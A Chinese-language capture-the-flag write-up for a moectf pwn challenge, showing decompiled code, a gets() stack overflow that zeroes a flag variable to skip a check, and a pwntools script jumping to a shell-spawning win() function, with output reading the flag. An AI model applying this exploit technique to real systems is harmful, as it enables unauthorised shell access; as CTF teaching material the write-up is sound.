本文为人工撰写,仅使用生成式AI校对。

题目链接

依旧是丢进IDA。

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char s[124]; // [rsp+0h] [rbp-90h] BYREF
  int v5; // [rsp+7Ch] [rbp-14h]
  int v6; // [rsp+8Ch] [rbp-4h]

  init(argc, argv, envp);
  puts("Welcome to Secret Message Book!");
  puts("Do you want to brute-force this system? (y/n)");
  fgets(&brute_choice, 8, stdin);
  v6 = 0;
  if ( brute_choice == 121 || brute_choice == 89 )
  {
    v6 = 1;
    canary = (int)random() % 114514;
    v5 = canary;
    puts("waiting...");
    sleep(1u);
    puts("boom!");
    puts("Brute-force mode enabled! Security on.");
  }
  else
  {
    puts("Normal mode. No overflow allowed.");
  }
  printf("Enter your message: ");
  if ( v6 )
    gets(s);
  else
    fgets(s, 128, stdin);
  if ( v6 && v5 != canary )
  {
    puts("Security check failed!");
    exit(1);
  }
  puts("Message received.");
  return 0;
}

注意到如果选择n只能够额外溢出4字节,显然是不够的。

所以这里只能选择y

canary在v5我们无法读到,但最后的security check只要v6为0就可以通过,只要构造使v6为0,然后ret2text即可。

这里直接使用ida提供的偏移,从s向上偏移0x90+0x8=0x98即152个字节达到栈存放的返回地址。

这里为了省事,不单独计算v6的偏移,填充时全部置0即可。

ext:0000000000401276 ; int win()
.text:0000000000401276                 public win
.text:0000000000401276 win             proc near
.text:0000000000401276 ; __unwind {
.text:0000000000401276                 endbr64
.text:000000000040127A                 push    rbp
.text:000000000040127B                 mov     rbp, rsp
.text:000000000040127E                 lea     rax, command    ; "/bin/sh"
.text:0000000000401285                 mov     rdi, rax        ; command
.text:0000000000401288                 call    _system
.text:000000000040128D                 nop
.text:000000000040128E                 pop     rbp
.text:000000000040128F                 retn
.text:000000000040128F ; } // starts at 401276
.text:000000000040128F win             endp

目标地址为0x40127E

pwntools脚本:

from pwn import *
context(arch='amd64', os='linux', log_level='error')

io = connect("127.0.0.1", 10626)

io.sendline(b'y')


io.send(b'\x00' * 152 + p64(0x40127E))


io.interactive()

输出:

Welcome to Secret Message Book!
Do you want to brute-force this system? (y/n)
waiting...
boom!
Brute-force mode enabled! Security on.
Enter your message:
Message received.
>> ls 
bin
flag
lib
lib32
lib64
libexec
libx32
pwn
>> cat flag
moectf{THIS_IS_FLAG}